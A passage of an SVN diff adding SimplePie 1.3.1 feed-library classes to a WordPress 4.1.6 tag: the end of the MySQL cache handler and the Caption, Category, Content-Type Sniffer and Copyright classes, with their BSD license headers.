+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		if ($data instanceof SimplePie)
+		{
+			$data = clone $data;
+
+			$prepared = self::prepare_simplepie_object_for_cache($data);
+
+			$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
+			$query->bindValue(':feed', $this->id);
+			if ($query->execute())
+			{
+				if ($query->fetchColumn() > 0)
+				{
+					$items = count($prepared[1]);
+					if ($items)
+					{
+						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
+						$query = $this->mysql->prepare($sql);
+						$query->bindValue(':items', $items);
+					}
+					else
+					{
+						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
+						$query = $this->mysql->prepare($sql);
+					}
+
+					$query->bindValue(':data', $prepared[0]);
+					$query->bindValue(':time', time());
+					$query->bindValue(':feed', $this->id);
+					if (!$query->execute())
+					{
+						return false;
+					}
+				}
+				else
+				{
+					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
+					$query->bindValue(':feed', $this->id);
+					$query->bindValue(':count', count($prepared[1]));
+					$query->bindValue(':data', $prepared[0]);
+					$query->bindValue(':time', time());
+					if (!$query->execute())
+					{
+						return false;
+					}
+				}
+
+				$ids = array_keys($prepared[1]);
+				if (!empty($ids))
+				{
+					foreach ($ids as $id)
+					{
+						$database_ids[] = $this->mysql->quote($id);
+					}
+
+					$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
+					$query->bindValue(':feed', $this->id);
+
+					if ($query->execute())
+					{
+						$existing_ids = array();
+						while ($row = $query->fetchColumn())
+						{
+							$existing_ids[] = $row;
+						}
+
+						$new_ids = array_diff($ids, $existing_ids);
+
+						foreach ($new_ids as $new_id)
+						{
+							if (!($date = $prepared[1][$new_id]->get_date('U')))
+							{
+								$date = time();
+							}
+
+							$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
+							$query->bindValue(':feed', $this->id);
+							$query->bindValue(':id', $new_id);
+							$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
+							$query->bindValue(':date', $date);
+							if (!$query->execute())
+							{
+								return false;
+							}
+						}
+						return true;
+					}
+				}
+				else
+				{
+					return true;
+				}
+			}
+		}
+		else
+		{
+			$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
+			$query->bindValue(':feed', $this->id);
+			if ($query->execute())
+			{
+				if ($query->rowCount() > 0)
+				{
+					$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
+					$query->bindValue(':data', serialize($data));
+					$query->bindValue(':time', time());
+					$query->bindValue(':feed', $this->id);
+					if ($this->execute())
+					{
+						return true;
+					}
+				}
+				else
+				{
+					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
+					$query->bindValue(':id', $this->id);
+					$query->bindValue(':data', serialize($data));
+					$query->bindValue(':time', time());
+					if ($query->execute())
+					{
+						return true;
+					}
+				}
+			}
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && ($row = $query->fetch()))
+		{
+			$data = unserialize($row[1]);
+
+			if (isset($this->options['items'][0]))
+			{
+				$items = (int) $this->options['items'][0];
+			}
+			else
+			{
+				$items = (int) $row[0];
+			}
+
+			if ($items !== 0)
+			{
+				if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
+				}
+				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]))
+				{
+					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0];
+				}
+				else
+				{
+					$feed = null;
+				}
+
+				if ($feed !== null)
+				{
+					$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
+					if ($items > 0)
+					{
+						$sql .= ' LIMIT ' . $items;
+					}
+
+					$query = $this->mysql->prepare($sql);
+					$query->bindValue(':feed', $this->id);
+					if ($query->execute())
+					{
+						while ($row = $query->fetchColumn())
+						{
+							$feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
+						}
+					}
+					else
+					{
+						return false;
+					}
+				}
+			}
+			return $data;
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && ($time = $query->fetchColumn()))
+		{
+			return $time;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
+		$query->bindValue(':time', time());
+		$query->bindValue(':id', $this->id);
+		if ($query->execute() && $query->rowCount() > 0)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		if ($this->mysql === null)
+		{
+			return false;
+		}
+
+		$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
+		$query->bindValue(':id', $this->id);
+		$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
+		$query2->bindValue(':id', $this->id);
+		if ($query->execute() && $query2->execute())
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Caption.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Caption.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Caption.php	(revision 33402)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Handles `<media:text>` captions as defined in Media RSS.
+ *
+ * Used by {@see SimplePie_Enclosure::get_caption()} and {@see SimplePie_Enclosure::get_captions()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_caption_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Caption
+{
+	/**
+	 * Content type
+	 *
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * Language
+	 *
+	 * @var string
+	 * @see get_language()
+	 */
+	var $lang;
+
+	/**
+	 * Start time
+	 *
+	 * @var string
+	 * @see get_starttime()
+	 */
+	var $startTime;
+
+	/**
+	 * End time
+	 *
+	 * @var string
+	 * @see get_endtime()
+	 */
+	var $endTime;
+
+	/**
+	 * Caption text
+	 *
+	 * @var string
+	 * @see get_text()
+	 */
+	var $text;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
+	{
+		$this->type = $type;
+		$this->lang = $lang;
+		$this->startTime = $startTime;
+		$this->endTime = $endTime;
+		$this->text = $text;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the end time
+	 *
+	 * @return string|null Time in the format 'hh:mm:ss.SSS'
+	 */
+	public function get_endtime()
+	{
+		if ($this->endTime !== null)
+		{
+			return $this->endTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language
+	 *
+	 * @link http://tools.ietf.org/html/rfc3066
+	 * @return string|null Language code as per RFC 3066
+	 */
+	public function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the start time
+	 *
+	 * @return string|null Time in the format 'hh:mm:ss.SSS'
+	 */
+	public function get_starttime()
+	{
+		if ($this->startTime !== null)
+		{
+			return $this->startTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the text of the caption
+	 *
+	 * @return string|null
+	 */
+	public function get_text()
+	{
+		if ($this->text !== null)
+		{
+			return $this->text;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the content type (not MIME type)
+	 *
+	 * @return string|null Either 'text' or 'html'
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Category.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Category.php	(revision 33402)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages all category-related data
+ *
+ * Used by {@see SimplePie_Item::get_category()} and {@see SimplePie_Item::get_categories()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_category_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Category
+{
+	/**
+	 * Category identifier
+	 *
+	 * @var string
+	 * @see get_term
+	 */
+	var $term;
+
+	/**
+	 * Categorization scheme identifier
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Human readable label
+	 *
+	 * @var string
+	 * @see get_label()
+	 */
+	var $label;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * @param string $term
+	 * @param string $scheme
+	 * @param string $label
+	 */
+	public function __construct($term = null, $scheme = null, $label = null)
+	{
+		$this->term = $term;
+		$this->scheme = $scheme;
+		$this->label = $label;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the category identifier
+	 *
+	 * @return string|null
+	 */
+	public function get_term()
+	{
+		if ($this->term !== null)
+		{
+			return $this->term;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the categorization scheme identifier
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the human readable label
+	 *
+	 * @return string|null
+	 */
+	public function get_label()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return $this->get_term();
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Content/Type/Sniffer.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Content/Type/Sniffer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Content/Type/Sniffer.php	(revision 33402)
@@ -0,0 +1,332 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Content-type sniffing
+ *
+ * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
+ *
+ * This is used since we can't always trust Content-Type headers, and is based
+ * upon the HTML5 parsing rules.
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()}
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ */
+class SimplePie_Content_Type_Sniffer
+{
+	/**
+	 * File object
+	 *
+	 * @var SimplePie_File
+	 */
+	var $file;
+
+	/**
+	 * Create an instance of the class with the input file
+	 *
+	 * @param SimplePie_Content_Type_Sniffer $file Input file
+	 */
+	public function __construct($file)
+	{
+		$this->file = $file;
+	}
+
+	/**
+	 * Get the Content-Type of the specified file
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function get_type()
+	{
+		if (isset($this->file->headers['content-type']))
+		{
+			if (!isset($this->file->headers['content-encoding'])
+				&& ($this->file->headers['content-type'] === 'text/plain'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=UTF-8'))
+			{
+				return $this->text_or_binary();
+			}
+
+			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
+			{
+				$official = substr($this->file->headers['content-type'], 0, $pos);
+			}
+			else
+			{
+				$official = $this->file->headers['content-type'];
+			}
+			$official = trim(strtolower($official));
+
+			if ($official === 'unknown/unknown'
+				|| $official === 'application/unknown')
+			{
+				return $this->unknown();
+			}
+			elseif (substr($official, -4) === '+xml'
+				|| $official === 'text/xml'
+				|| $official === 'application/xml')
+			{
+				return $official;
+			}
+			elseif (substr($official, 0, 6) === 'image/')
+			{
+				if ($return = $this->image())
+				{
+					return $return;
+				}
+				else
+				{
+					return $official;
+				}
+			}
+			elseif ($official === 'text/html')
+			{
+				return $this->feed_or_html();
+			}
+			else
+			{
+				return $official;
+			}
+		}
+		else
+		{
+			return $this->unknown();
+		}
+	}
+
+	/**
+	 * Sniff text or binary
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function text_or_binary()
+	{
+		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
+			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
+			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
+			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
+		{
+			return 'text/plain';
+		}
+		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
+		{
+			return 'application/octect-stream';
+		}
+		else
+		{
+			return 'text/plain';
+		}
+	}
+
+	/**
+	 * Sniff unknown
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function unknown()
+	{
+		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
+		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
+			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
+			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
+		{
+			return 'text/html';
+		}
+		elseif (substr($this->file->body, 0, 5) === '%PDF-')
+		{
+			return 'application/pdf';
+		}
+		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
+		{
+			return 'application/postscript';
+		}
+		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
+		{
+			return 'image/vnd.microsoft.icon';
+		}
+		else
+		{
+			return $this->text_or_binary();
+		}
+	}
+
+	/**
+	 * Sniff images
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function image()
+	{
+		if (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
+		{
+			return 'image/vnd.microsoft.icon';
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Sniff HTML
+	 *
+	 * @return string Actual Content-Type
+	 */
+	public function feed_or_html()
+	{
+		$len = strlen($this->file->body);
+		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20");
+
+		while ($pos < $len)
+		{
+			switch ($this->file->body[$pos])
+			{
+				case "\x09":
+				case "\x0A":
+				case "\x0D":
+				case "\x20":
+					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
+					continue 2;
+
+				case '<':
+					$pos++;
+					break;
+
+				default:
+					return 'text/html';
+			}
+
+			if (substr($this->file->body, $pos, 3) === '!--')
+			{
+				$pos += 3;
+				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
+				{
+					$pos += 3;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '!')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
+				{
+					$pos++;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '?')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
+				{
+					$pos += 2;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 3) === 'rss'
+				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
+			{
+				return 'application/rss+xml';
+			}
+			elseif (substr($this->file->body, $pos, 4) === 'feed')
+			{
+				return 'application/atom+xml';
+			}
+			else
+			{
+				return 'text/html';
+			}
+		}
+
+		return 'text/html';
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Copyright.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Copyright.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Copyright.php	(revision 33402)
@@ -0,0 +1,130 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages `<media:copyright>` copyright tags as defined in Media RSS
+ *
+ * Used by {@see SimplePie_Enclosure::get_copyright()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_copyright_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Copyright
+{
+	/**
+	 * Copyright URL
+	 *
+	 * @var string
+	 * @see get_url()
+	 */
+	var $url;
+
+	/**
+	 * Attribution
+	 *
+	 * @var string
+	 * @see get_attribution()
+	 */
+	var $label;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($url = null, $label = null)
+	{
+		$this->url = $url;
+		$this->label = $label;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the copyright URL
+	 *
+	 * @return string|null URL to copyright information
+	 */
+	public function get_url()
+	{
+		if ($this->url !== null)
+		{
+			return $this->url;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the attribution text
+	 *
+	 * @return string|null
+	 */
+	public function get_attribution()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Core.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Core.php	(revision 33402)
